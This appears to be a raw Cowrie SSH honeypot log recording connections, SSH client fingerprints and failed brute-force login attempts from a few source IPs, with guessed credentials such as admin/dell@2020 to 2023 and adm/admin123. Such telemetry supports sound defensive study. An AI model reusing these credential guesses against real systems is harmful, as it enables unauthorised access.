{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:49:23.027931Z","src_ip":"103.172.20.218","session":"aadc129ee548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ooklaserver","password":"ooklaserver123","message":"login attempt [ooklaserver/ooklaserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:49:23.968503Z","src_ip":"103.172.20.218","session":"aadc129ee548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:49:25.197968Z","src_ip":"103.172.20.218","session":"aadc129ee548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46522,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb9f0020ed0f","protocol":"ssh","message":"New connection: 159.203.92.129:46522 (159.203.135.109:22) [session: cb9f0020ed0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:49:34.675870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:49:34.680760Z","src_ip":"159.203.92.129","session":"cb9f0020ed0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:49:34.689738Z","src_ip":"159.203.92.129","session":"cb9f0020ed0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dell@2020","message":"login attempt [admin/dell@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:49:34.705711Z","src_ip":"159.203.92.129","session":"cb9f0020ed0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:49:35.711883Z","src_ip":"159.203.92.129","session":"cb9f0020ed0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49674,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d9c918866ee","protocol":"ssh","message":"New connection: 159.203.92.129:49674 (159.203.135.109:22) [session: 2d9c918866ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:50:18.035572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:50:18.053949Z","src_ip":"159.203.92.129","session":"2d9c918866ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:50:18.058348Z","src_ip":"159.203.92.129","session":"2d9c918866ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dell@2021","message":"login attempt [admin/dell@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:50:18.135847Z","src_ip":"159.203.92.129","session":"2d9c918866ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:50:19.222485Z","src_ip":"159.203.92.129","session":"2d9c918866ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":59754,"dst_ip":"159.203.135.109","dst_port":22,"session":"65bd624b2ce5","protocol":"ssh","message":"New connection: 103.172.20.218:59754 (159.203.135.109:22) [session: 65bd624b2ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:50:19.417999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:50:19.422957Z","src_ip":"103.172.20.218","session":"65bd624b2ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:50:19.650886Z","src_ip":"103.172.20.218","session":"65bd624b2ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm","password":"admin123","message":"login attempt [adm/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:50:20.632070Z","src_ip":"103.172.20.218","session":"65bd624b2ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:50:21.863643Z","src_ip":"103.172.20.218","session":"65bd624b2ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51392,"dst_ip":"159.203.135.109","dst_port":22,"session":"68be8898ab45","protocol":"ssh","message":"New connection: 159.203.92.129:51392 (159.203.135.109:22) [session: 68be8898ab45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:00.134220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:00.139886Z","src_ip":"159.203.92.129","session":"68be8898ab45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:00.146477Z","src_ip":"159.203.92.129","session":"68be8898ab45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dell@2022","message":"login attempt [admin/dell@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:00.178174Z","src_ip":"159.203.92.129","session":"68be8898ab45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:01.184901Z","src_ip":"159.203.92.129","session":"68be8898ab45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":54000,"dst_ip":"159.203.135.109","dst_port":22,"session":"11d45e642de2","protocol":"ssh","message":"New connection: 103.172.20.218:54000 (159.203.135.109:22) [session: 11d45e642de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:15.944492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:15.949339Z","src_ip":"103.172.20.218","session":"11d45e642de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:16.178883Z","src_ip":"103.172.20.218","session":"11d45e642de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"PASSWORD","message":"login attempt [admin/PASSWORD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:17.125172Z","src_ip":"103.172.20.218","session":"11d45e642de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:18.356578Z","src_ip":"103.172.20.218","session":"11d45e642de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.236.176.234","src_port":36415,"dst_ip":"159.203.135.109","dst_port":22,"session":"742ffe88b010","protocol":"ssh","message":"New connection: 87.236.176.234:36415 (159.203.135.109:22) [session: 742ffe88b010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:34.128549Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:36.130820Z","src_ip":"87.236.176.234","session":"742ffe88b010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.236.176.234","src_port":33187,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c8fe316788d","protocol":"ssh","message":"New connection: 87.236.176.234:33187 (159.203.135.109:22) [session: 6c8fe316788d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:36.197431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:36.202070Z","src_ip":"87.236.176.234","session":"6c8fe316788d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:36.272636Z","src_ip":"87.236.176.234","session":"6c8fe316788d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:36.347569Z","src_ip":"87.236.176.234","session":"6c8fe316788d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48800,"dst_ip":"159.203.135.109","dst_port":22,"session":"80cc409a563a","protocol":"ssh","message":"New connection: 159.203.92.129:48800 (159.203.135.109:22) [session: 80cc409a563a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:42.366321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:42.375910Z","src_ip":"159.203.92.129","session":"80cc409a563a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:42.379046Z","src_ip":"159.203.92.129","session":"80cc409a563a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dell@2023","message":"login attempt [admin/dell@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:42.387344Z","src_ip":"159.203.92.129","session":"80cc409a563a","protocol":"ssh"}
